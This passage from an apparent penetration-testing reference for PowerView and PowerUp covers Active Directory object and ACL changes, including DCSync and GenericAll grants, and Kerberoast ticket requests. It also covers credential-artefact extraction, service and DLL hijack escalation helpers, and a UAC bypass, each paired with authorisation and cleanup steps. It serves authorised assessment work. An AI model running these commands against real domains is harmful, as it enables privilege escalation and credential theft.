$Cred = Get-Credential 'CORP\auditor'
Add-RemoteConnection -ComputerName fs01.corp.local -Credential $Cred
Get-ChildItem '\\fs01.corp.local\Finance'
Remove-RemoteConnection -ComputerName fs01.corp.local

[!important] Credential boundaries PSCredential means username/password authentication through APIs that accept it. It does not inject an NTLM hash or Kerberos ticket. Also avoid opening two SMB connections to the same server under different usernames in one logon session; Windows can return error 1219.


10. PowerView — Authorised Object Changes and Cleanup#

10.1 Rules before any write#

# Record current object and ACL state
Get-DomainObject -Identity $Target |
  Export-Clixml "$Out\$Target-before.xml"
Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
  Export-Csv "$Out\$Target-acl-before.csv" -NoTypeInformation

Use a change ticket/test identifier in your notes. Do not assume the inverse command reconstructs inherited ACE ordering, protected DACL state, or an overwritten attribute's prior value.

10.2 Create and remove a test user/group#

$TempPass = Read-Host 'Temporary password' -AsSecureString
New-DomainUser -SamAccountName pv-audit-user -AccountPassword $TempPass
New-DomainGroup -SamAccountName pv-audit-group

# PowerView has creation helpers but no matching remove-object helper in this build.
# Remove with approved AD administration tooling after validation.

10.3 Password reset with delegated rights#

$NewPass = Read-Host 'New password' -AsSecureString
Set-DomainUserPassword -Identity alice -AccountPassword $NewPass

Password resets are disruptive: they can invalidate saved credentials, DPAPI access, services, scheduled tasks, and user sessions. Do not “restore” an unknown original password.

10.4 Group membership with paired cleanup#

# Verify before
Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'

# Change
Add-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'

# Verify and clean up
Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'
Remove-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'

10.5 Attribute modification#

# Capture original value
$Before = Get-DomainObject -Identity alice -Properties description
$Before | Export-Clixml "$Out\alice-description-before.xml"

# Replace, append, or clear
Set-DomainObject -Identity alice -Set @{description='Authorised validation CHG-1234'}
Set-DomainObject -Identity alice -XOR @{useraccountcontrol=65536}
Set-DomainObject -Identity alice -Clear description

# Restore exact original value when known
if ($null -ne $Before.description) {
    Set-DomainObject -Identity alice -Set @{description=$Before.description}
} else {
    Set-DomainObject -Identity alice -Clear description
}

This bundled build supports -Set, -Clear, and -XOR: -Set replaces the property value, -Clear removes it, and -XOR toggles specified bit flags. It does not expose the -Add/-Remove switches found in some other AD cmdlets or PowerView forks. For a multi-valued attribute, capture the full original array and use approved AD administration tooling when a precise single-value add/remove is required.

10.6 Ownership change and restoration#

$TargetDN      = (Get-DomainObject -Identity 'Help Desk').distinguishedname
$OriginalOwner = (Get-Acl "AD:$TargetDN").Owner

Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity 'CORP\pv-audit-user'

# Perform only the authorised validation, then restore owner
Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity $OriginalOwner

If the AD: PSDrive is unavailable, record the owner from Get-DomainObjectAcl/an approved AD ACL tool before changing it.

10.7 Add and remove a test ACE#

# Add narrowly scoped group-member write right
Add-DomainObjectAcl `
  -TargetIdentity 'Help Desk' `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights WriteMembers

# Validate
Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs -RightsFilter WriteMembers |
  Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }

# Remove the same ACE
Remove-DomainObjectAcl `
  -TargetIdentity 'Help Desk' `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights WriteMembers

10.8 DCSync-right validation and cleanup#

$DomainDN = (Get-Domain).distinguishedname

Add-DomainObjectAcl `
  -TargetIdentity $DomainDN `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights DCSync

# Verify ACEs only; extracting secrets is a separate, higher-impact action
Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs |
  Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }

Remove-DomainObjectAcl `
  -TargetIdentity $DomainDN `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights DCSync

10.9 GenericAll test ACE#

Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All

# Cleanup must use the identical target, principal, and right
Remove-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All

[!danger] -Rights All is broad Prefer ResetPassword, WriteMembers, a specific -RightsGUID, or another narrow test whenever the assessment objective allows it.


11. PowerView — Output, Filtering, and Export#

11.1 Shape output early#

Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset |
  Sort-Object pwdlastset |
  Format-Table -AutoSize

Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname,operatingsystem,lastlogondate |
  Select-Object dnshostname,operatingsystem,lastlogondate |
  Export-Csv "$Out\servers.csv" -NoTypeInformation

11.2 Preserve nested values#

CSV flattens arrays. Join them explicitly or use CLIXML/JSON:

Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname |
  Select-Object samaccountname,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
  Export-Csv "$Out\spn-users.csv" -NoTypeInformation

Get-DomainUser -Identity alice |
  Export-Clixml "$Out\alice.xml"

Get-DomainUser -Identity alice -Properties samaccountname,memberof |
  ConvertTo-Json -Depth 5 |
  Set-Content "$Out\alice.json"

11.3 Bundled CSV helper#

Get-DomainComputer -OperatingSystem '*Server*' |
  Export-PowerViewCSV -Path "$Out\servers-powerview.csv"

11.4 Measure before fan-out#

$Servers = Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname |
  Select-Object -ExpandProperty dnshostname
$Servers.Count
$Servers | Select-Object -First 10

12. PowerUp — Audit and Triage#

12.1 Full audit formats#

# Structured objects: best for filtering/export
$Findings = Invoke-PrivescAudit -Format Object
$Findings | Format-List *

# Human-readable console output
Invoke-PrivescAudit -Format List

# HTML file: COMPUTER.USER.html in current directory
Invoke-PrivescAudit -Format HTML

# Legacy alias
Invoke-AllChecks

12.2 What the full audit checks#

Category PowerUp function / test
Current local admin WindowsPrincipal and token group checks
Interesting token privileges Get-ProcessTokenPrivilege -Special
Unquoted services Get-UnquotedService
Writable service files Get-ModifiableServiceFile
Modifiable service configuration Get-ModifiableService
Writable %PATH% directories Find-PathDLLHijack
AlwaysInstallElevated Get-RegistryAlwaysInstallElevated
Registry autologon Get-RegistryAutoLogon
Writable elevated autoruns Get-ModifiableRegistryAutoRun
Writable scheduled-task files Get-ModifiableScheduledTaskFile
Unattended install files Get-UnattendedInstallFile
IIS connection strings Get-WebConfig
IIS app-pool/vdir credentials Get-ApplicationHost
McAfee SiteList credentials Get-SiteListPassword
Cached GPP passwords Get-CachedGPPPassword

12.3 Filter and prioritise#

$Findings = Invoke-PrivescAudit -Format Object

$Findings |
  Select-Object Check,ServiceName,Path,ModifiablePath,IdentityReference,AbuseFunction |
  Format-Table -Wrap

$Findings | Where-Object Check -Match 'Service|AlwaysInstall|AutoLogon'
$Findings | Export-Clixml C:\Temp\assessment\powerup-findings.xml

Prioritise findings that are both controllable and triggerable:

Question Why it matters
Does the target execute as LocalSystem or another privileged identity? A writable binary run as the current user gives no elevation
Can the current identity restart/trigger it? Otherwise exploitation may depend on reboot/admin/operator action
Is the path actually writable, not merely a parent candidate? Prevents false positives from path parsing
Is the binary architecture compatible? Relevant for generated service/DLL helpers
Will endpoint protection block or quarantine the artefact? Avoids disruption and explains failed validation
Is the finding already mitigated by quoting, ACL inheritance, or service hardening? Confirms the true control boundary

12.4 Token context#

Get-ProcessTokenGroup
Get-ProcessTokenPrivilege
Get-ProcessTokenPrivilege -Special
Get-ProcessTokenType

# Inspect another process where access is permitted
Get-ProcessTokenPrivilege -Id 1234

# Enabling a privilege does not grant a privilege absent from the token
Enable-Privilege SeDebugPrivilege

13. PowerUp — Service Misconfigurations#

13.1 Enumerate service issues separately#

Get-UnquotedService | Format-List *
Get-ModifiableServiceFile | Format-List *
Get-ModifiableService | Format-List *

13.2 Inspect one service deeply#

Get-ServiceDetail -Name VulnSvc | Format-List *
Get-Service VulnSvc | Get-ServiceDetail
Get-Service VulnSvc | Add-ServiceDacl | Format-List Name,Dacl

Test-ServiceDaclPermission -Name VulnSvc -PermissionSet ChangeConfig
Test-ServiceDaclPermission -Name VulnSvc -PermissionSet Restart

Common permission sets accepted by Test-ServiceDaclPermission include:

Set Meaning
ChangeConfig Can change service configuration/binPath
Restart Can stop and start the service
Start / Stop Can perform the respective control operation
WriteDac Can modify service DACL
WriteOwner Can take/assign service ownership
AllAccess Broad service access

13.3 Unquoted service paths#

$U = Get-UnquotedService
$U | Select-Object ServiceName,Path,ModifiablePath,StartName,CanRestart,AbuseFunction

For a service path such as:

C:\Program Files\Acme Tools\Updater Service.exe

Windows may test executable candidates at space boundaries when the service path is unquoted. PowerUp reports only candidates whose path is modifiable. Validate with:

Get-Acl 'C:\Program Files' | Format-List
Get-Acl 'C:\Program Files\Acme Tools' | Format-List
Get-ServiceDetail -Name AcmeUpdater

13.4 Writable service binary or arguments#

Get-ModifiableServiceFile |
  Select-Object ServiceName,Path,ModifiableFile,ModifiableFilePermissions,StartName,CanRestart

Distinguish these cases:

13.5 Modifiable service configuration#

Get-ModifiableService |
  Select-Object ServiceName,Path,StartName,CanRestart,AbuseFunction

Record the original configuration before any approved change:

$SvcBefore = Get-ServiceDetail -Name VulnSvc
$SvcBefore | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml
sc.exe qc VulnSvc

14. PowerUp — DLL, PATH, Autorun, and Task Findings#

14.1 Writable PATH directories#

Find-PathDLLHijack | Format-List *

A writable %PATH% directory is a candidate, not proof. A privileged process must search that directory for a missing DLL before a protected location. Confirm with Process Monitor or application-specific evidence in a controlled test.

14.2 Process-specific DLL candidates#

Find-ProcessDLLHijack
Find-ProcessDLLHijack -Name AcmeAgent
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Find-ProcessDLLHijack -ExcludeOwned

Validate:

  1. The process runs in a more privileged context.
  2. The DLL is genuinely missing at that search step.
  3. The current identity can write the candidate location.
  4. The process can be triggered safely.
  5. Architecture and DLL exports/initialisation behaviour are compatible.

14.3 Registry autoruns#

Get-ModifiableRegistryAutoRun | Format-List *

Check both the registry value ACL and the referenced file/directory ACL. An autorun is an escalation only when a more privileged identity executes it.

14.4 Scheduled-task files#

Get-ModifiableScheduledTaskFile | Format-List *

Cross-check the actual task identity and trigger:

schtasks.exe /query /fo LIST /v
Get-ScheduledTask | Select-Object TaskName,TaskPath,State

PowerUp's bundled check focuses on writable files referenced by task XML, not every possible task ACL or COM-handler issue.


15. PowerUp — Credential and Installer Findings#

15.1 Registry autologon#

Get-RegistryAutoLogon | Format-List *

Review and handle the output as credentials. Do not put it in transcripts, screenshots, shared tickets, or shell history unless the assessment rules explicitly permit it.

15.2 Unattended installation files#

Get-UnattendedInstallFile

This build checks common sysprep and Windows\Panther locations. It returns candidate file paths; inspect only within scope and distinguish live secrets from redacted, encoded, or stale values.

15.3 IIS configuration#

Get-WebConfig | Format-Table -AutoSize
Get-ApplicationHost | Format-Table -AutoSize
Function Target
Get-WebConfig Cleartext or locally decryptable connection strings in IIS application web.config files
Get-ApplicationHost IIS app-pool and virtual-directory identities/passwords exposed through applicationHost.config/appcmd

15.4 Group Policy Preferences#

Get-CachedGPPPassword | Format-List *

GPP cpassword storage has long been patched for creation through normal tooling, but old XML files can persist in SYSVOL, local caches, backups, or copied policy data.

15.5 McAfee SiteList#

Get-SiteListPassword
Get-SiteListPassword -Path 'C:\ProgramData\McAfee\Common Framework\SiteList.xml'

15.6 AlwaysInstallElevated#

Get-RegistryAlwaysInstallElevated

# Verify both policy locations manually
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue

Both machine and current-user policy values must be enabled for the classic issue.


16. PowerUp — Validation, Abuse Helpers, and Restoration#

[!danger] High-impact section The helpers below execute commands through privileged service, DLL, MSI, or UAC paths. Use only when proof of impact is explicitly required. Prefer a benign proof command that writes a uniquely named marker file over creating users, launching shells, or changing security controls.

16.1 Benign proof command#

$Proof = 'cmd.exe /c whoami /all > C:\Windows\Temp\CHG-1234-whoami.txt'

The result itself may contain sensitive group/privilege data. Remove it after collection.

16.2 Modifiable service configuration#

# Record first
$Before = Get-ServiceDetail -Name VulnSvc
$Before | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml

# Approved proof
Invoke-ServiceAbuse -Name VulnSvc -Command $Proof

# Inspect service state/config after execution
Get-ServiceDetail -Name VulnSvc | Format-List *
sc.exe qc VulnSvc

Invoke-ServiceAbuse attempts to restore service configuration, but always verify against the recorded baseline. A crash, timeout, AV action, or insufficient restart rights can interrupt automated cleanup.

16.3 Service binary replacement#

# Creates a backup and replaces the service binary
Install-ServiceBinary -Name VulnSvc -Command $Proof

# Restore using the backup path reported/created during the operation
Restore-ServiceBinary -Name VulnSvc -BackupPath 'C:\Path\To\service.exe.bak'

Do not guess the backup filename. Capture the helper output and confirm the original file's hash, owner, DACL, timestamps, and service health after restoration.

16.4 Unquoted-path service proof#

# Use the exact candidate reported by Get-UnquotedService
Write-ServiceBinary -Name VulnSvc -Path 'C:\Program.exe' -Command $Proof

Cleanup requires removing only the created proof binary after the service has completed and confirming the legitimate service starts normally.

16.5 DLL proof helper#

Write-HijackDll `
  -DllPath 'C:\ApprovedWritablePath\wlbsctrl.dll' `
  -Architecture x64 `
  -Command $Proof

Remove the generated DLL and its batch artefact after proof, then restart/retest the affected application only if the rules of engagement permit it.

16.6 AlwaysInstallElevated helper#

Write-UserAddMSI -Path C:\Temp\assessment\UserAdd.msi

The bundled helper creates an interactive user/group-add MSI and is more disruptive than a marker-file proof. Treat it as a lab-only fallback; record and remove any account/group membership it creates, then delete the MSI.

16.7 UAC Event Viewer helper#

Invoke-EventVwrBypass -Command $Proof

This is a UAC bypass helper, not a standard-user-to-admin privilege escalation: the current identity must already hold a suitable administrator token. The function temporarily changes the current user's mscfile shell-open command and tries to remove it afterward. Verify cleanup:

Test-Path 'HKCU:\Software\Classes\mscfile'

16.8 Cleanup checklist#

[ ] Original service ImagePath/start mode/account restored
[ ] Original executable/config file restored and hash checked
[ ] Generated EXE/DLL/BAT/MSI/proof file removed
[ ] Temporary user removed
[ ] Temporary group membership removed
[ ] Registry values/keys restored or removed
[ ] Service/application starts and operates normally
[ ] Transcript and evidence protected according to engagement rules
[ ] Change and cleanup timestamps recorded

17. Worked Workflows#

17.1 Low-noise domain orientation#

. .\PowerView.ps1
$Domain = Get-Domain
$DCs    = Get-DomainController
$Trusts = Get-DomainTrust
$Policy = Get-DomainPolicyData

$Domain | Format-List Name,Forest,DomainControllers
$DCs | Select-Object Name,IPAddress,SiteName,OperatingSystem
$Trusts | Format-Table SourceName,TargetName,TrustDirection,TrustType -AutoSize
$Policy.SystemAccess | Format-List

17.2 Identify a user's effective path to local admin#

$User = 'CORP\alice'

# Domain groups
Get-DomainGroup -MemberIdentity $User | Select-Object samaccountname,distinguishedname

# GPO-derived local admin placements
Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators

# Validate only the resulting hosts
$Targets = Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators |
  Select-Object -ExpandProperty ComputerName -Unique
$Targets | Test-AdminAccess

17.3 Investigate a BloodHound ACL edge#

$Principal = 'CORP\helpdesk'
$Target    = 'alice'
$Sid       = ConvertTo-SID $Principal

Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
  Where-Object SecurityIdentifier -eq $Sid |
  Select-Object AceType,ActiveDirectoryRights,ObjectAceType,IsInherited,InheritanceType

Decision points:

  1. Does the ACE apply to this object or only descendants of a particular class?
  2. Is it allowed or denied?
  3. Is the principal SID enabled in the current token through direct/nested membership?
  4. Is the target protected by AdminSDHolder or a protected DACL?
  5. What is the least disruptive proof and exact cleanup?

17.4 Kerberoast exposure review#

$Candidates = Get-DomainUser `
  -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
  -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,memberof

$Candidates |
  Select-Object samaccountname,pwdlastset,lastlogon,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
  Sort-Object pwdlastset |
  Export-Csv C:\Temp\assessment\kerberoast-candidates.csv -NoTypeInformation

# Request a ticket only for the approved test identity
$Candidates | Where-Object samaccountname -eq 'svc_sql' |
  Get-DomainSPNTicket -OutputFormat Hashcat

17.5 Domain-to-host assessment flow#

. .\PowerView.ps1
. .\PowerUp.ps1

# Domain side
whoami /all
Get-Domain
Get-DomainGroup -MemberIdentity $env:USERNAME
Get-DomainGPOUserLocalGroupMapping -Identity "$env:USERDOMAIN\$env:USERNAME" -LocalGroup Administrators

# Current host side
Invoke-PrivescAudit -Format Object |
  Export-Clixml C:\Temp\assessment\powerup.xml

17.6 Validate and report an unquoted service path without exploitation#

$Finding = Get-UnquotedService | Where-Object ServiceName -eq 'VulnSvc'
$Finding | Format-List *

Get-ServiceDetail -Name $Finding.ServiceName | Export-Clixml C:\Temp\assessment\VulnSvc.xml
Get-Acl $Finding.ModifiablePath | Format-List | Out-File C:\Temp\assessment\VulnSvc-acl.txt

Report:


18. Troubleshooting#

Symptom Likely cause Check / correction
Get-DomainUser not recognised Script not loaded in current scope . .\PowerView.ps1; then Get-Command Get-DomainUser
Execution blocked PowerShell policy, application control, AV/EDR, or constrained language Do not disable controls without approval; use sanctioned admin tooling or collect the block evidence
The server is not operational DNS, DC reachability, LDAP signing/TLS, firewall, or wrong domain Resolve-DnsName, Test-NetConnection $DC -Port 389, pin -Server
Empty LDAP result Wrong identity/filter/SearchBase, insufficient read, or queried wrong domain Remove filters one at a time; inspect Get-Domain; test explicit -Server
LDAP filter error Bad escaping/parentheses or unsupported matching rule Test a minimal filter and add clauses incrementally
Access is denied on sessions/WMI Remote API hardening, firewall, UAC token filtering, or rights Test one known host and one API; do not treat access denial as “no session”
Error 1219 on SMB Existing connection to same server under another identity Get-SmbConnection; remove the explicit connection you created, then retry consistently
Get-DomainObjectAcl -ResolveGUIDs is slow Schema GUID map resolution plus broad query Query one identity; omit -ResolveGUIDs until final analysis
PowerUp service result lacks immediate trigger CanRestart false or service disabled Document trigger dependency; do not reboot or alter service state without approval
PowerUp false positive Writable directory is not in actual load/execute path Validate with service config, ACLs, ProcMon, and real execution context
Invoke-ServiceAbuse changes but does not execute Cannot restart, service command syntax, quoting, timeout, or AV Inspect service state/config and event logs; restore from baseline
HTML audit report missing Current directory unwritable or deprecated switch usage Use Invoke-PrivescAudit -Format HTML from a writable directory
AD: drive unavailable ActiveDirectory module/provider not installed Use PowerView ACL output or an approved AD admin workstation for owner capture
Different blog command fails PowerView branch/version mismatch Get-Help <Function> -Full; compare with the bundled function index below

18.1 Self-document the exact loaded build#

Get-Help Get-DomainUser -Full
Get-Help Add-DomainObjectAcl -Examples
Get-Help Invoke-PrivescAudit -Full
Get-Command Get-DomainUser -Syntax
Get-Command Invoke-ServiceAbuse -Syntax

18.2 Connectivity triage#

Resolve-DnsName corp.local
Resolve-DnsName dc01.corp.local
Test-NetConnection dc01.corp.local -Port 389
Test-NetConnection dc01.corp.local -Port 445
nltest.exe /dsgetdc:corp.local
klist.exe

19. Function and Alias Index#

19.1 PowerView domain functions#

Area Functions
Name/SID conversion Resolve-IPAddress, ConvertTo-SID, ConvertFrom-SID, Convert-ADName, ConvertFrom-UACValue
Credentials/connections Get-PrincipalContext, Add-RemoteConnection, Remove-RemoteConnection, Invoke-UserImpersonation, Invoke-RevertToSelf
Kerberos Get-DomainSPNTicket, Invoke-Kerberoast
LDAP/DNS helpers Convert-LDAPProperty, Get-DomainSearcher, Convert-DNSRecord, Get-DomainDNSZone, Get-DomainDNSRecord
Domain/forest Get-Domain, Get-DomainController, Get-Forest, Get-ForestDomain, Get-ForestGlobalCatalog, Get-ForestSchemaClass, Get-DomainSID
Users Get-DomainUser, New-DomainUser, Set-DomainUserPassword, Get-DomainUserEvent
Computers/objects Get-DomainComputer, Get-DomainObject, Set-DomainObject, Get-DomainObjectAttributeHistory, Get-DomainObjectLinkedAttributeHistory
ACLs Get-DomainGUIDMap, New-ADObjectAccessControlEntry, Set-DomainObjectOwner, Get-DomainObjectAcl, Add-DomainObjectAcl, Remove-DomainObjectAcl, Find-InterestingDomainAcl
Directory layout Get-DomainOU, Get-DomainSite, Get-DomainSubnet
Groups Get-DomainGroup, New-DomainGroup, Get-DomainManagedSecurityGroup, Get-DomainGroupMember, Get-DomainGroupMemberDeleted, Add-DomainGroupMember, Remove-DomainGroupMember
Files/DFS Get-DomainFileServer, Get-DomainDFSShare, Find-InterestingFile, Find-DomainShare, Find-InterestingDomainShareFile
GPO/policy Get-GptTmpl, Get-GroupsXML, Get-DomainGPO, Get-DomainGPOLocalGroup, Get-DomainGPOUserLocalGroupMapping, Get-DomainGPOComputerLocalGroupMapping, Get-DomainPolicyData, Get-GPODelegation
Host/session Get-NetLocalGroup, Get-NetLocalGroupMember, Get-NetShare, Get-NetLoggedon, Get-NetSession, Get-RegLoggedOn, Get-NetRDPSession, Test-AdminAccess, Get-NetComputerSiteName
WMI/registry Get-WMIRegProxy, Get-WMIRegLastLoggedOn, Get-WMIRegCachedRDPConnection, Get-WMIRegMountedDrive, Get-WMIProcess
Hunters Find-DomainUserLocation, Find-DomainProcess, Find-DomainUserEvent, Find-LocalAdminAccess, Find-DomainLocalGroupMember
Trusts Get-DomainTrust, Get-ForestTrust, Get-DomainForeignUser, Get-DomainForeignGroupMember, Get-DomainTrustMapping
Export Export-PowerViewCSV

19.2 Common legacy PowerView aliases#

Alias Current function
Get-NetDomain Get-Domain
Get-NetDomainController Get-DomainController
Get-NetForest Get-Forest
Get-NetForestDomain Get-ForestDomain
Get-NetUser Get-DomainUser
Get-NetComputer Get-DomainComputer
Get-NetGroup Get-DomainGroup
Get-NetGroupMember Get-DomainGroupMember
Get-ADObject Get-DomainObject
Set-ADObject Set-DomainObject
Get-ObjectAcl Get-DomainObjectAcl
Add-ObjectAcl Add-DomainObjectAcl
Invoke-ACLScanner Find-InterestingDomainAcl
Get-NetOU / Get-NetSite / Get-NetSubnet Get-DomainOU / Get-DomainSite / Get-DomainSubnet
Get-NetGPO Get-DomainGPO
Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Invoke-UserHunter Find-DomainUserLocation
Invoke-ProcessHunter Find-DomainProcess
Invoke-ShareFinder Find-DomainShare
Invoke-FileFinder Find-InterestingDomainShareFile
Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Invoke-CheckLocalAdminAccess Test-AdminAccess
Get-NetDomainTrust Get-DomainTrust
Get-NetForestTrust Get-ForestTrust
Invoke-MapDomainTrust Get-DomainTrustMapping
Request-SPNTicket Get-DomainSPNTicket
Get-DomainPolicy Get-DomainPolicyData

19.3 PowerUp function index#

Area Functions
Path/ACL helpers Get-ModifiablePath, Add-ServiceDacl, Test-ServiceDaclPermission
Token inspection Get-TokenInformation, Get-ProcessTokenGroup, Get-ProcessTokenPrivilege, Get-ProcessTokenType, Enable-Privilege
Service discovery Get-UnquotedService, Get-ModifiableServiceFile, Get-ModifiableService, Get-ServiceDetail
Service validation helpers Set-ServiceBinaryPath, Invoke-ServiceAbuse, Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary
DLL discovery/helpers Find-ProcessDLLHijack, Find-PathDLLHijack, Write-HijackDll
Registry Get-RegistryAlwaysInstallElevated, Get-RegistryAutoLogon, Get-ModifiableRegistryAutoRun
Task/install files Get-ModifiableScheduledTaskFile, Get-UnattendedInstallFile
Credential artefacts Get-WebConfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword
Other validation helpers Write-UserAddMSI, Invoke-EventVwrBypass
Full audit Invoke-PrivescAudit (alias: Invoke-AllChecks)

20. One-Screen Quick Reference#

# LOAD
. .\PowerView.ps1
. .\PowerUp.ps1

# DOMAIN BASELINE
Get-Domain
Get-DomainController
Get-ForestDomain
Get-DomainTrustMapping
Get-DomainPolicyData

# PRINCIPALS
Get-DomainUser -AdminCount
Get-DomainUser -SPN
Get-DomainUser -PreauthNotRequired
Get-DomainComputer -Unconstrained
Get-DomainComputer -TrustedToAuth
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# ACL/GPO
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainObjectAcl -Identity alice -ResolveGUIDs
Get-GPODelegation
Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup Administrators

# HOSTS/SESSIONS/SHARES
Find-LocalAdminAccess -Threads 20
Find-DomainShare -CheckShareAccess -Threads 20
Get-NetSession -ComputerName fs01
Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators

# POWERUP
$Findings = Invoke-PrivescAudit -Format Object
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Get-RegistryAutoLogon
Get-RegistryAlwaysInstallElevated

# HELP FOR THIS EXACT BUILD
Get-Command Get-DomainUser -Syntax
Get-Help Add-DomainObjectAcl -Examples
Get-Help Invoke-ServiceAbuse -Full

[!success] Core habit Enumerate narrowly, validate assumptions, capture the original state, make the smallest authorised proof, clean up, and verify restoration. PowerView and PowerUp are most valuable as evidence-producing inspection tools—not as one-click escalation buttons.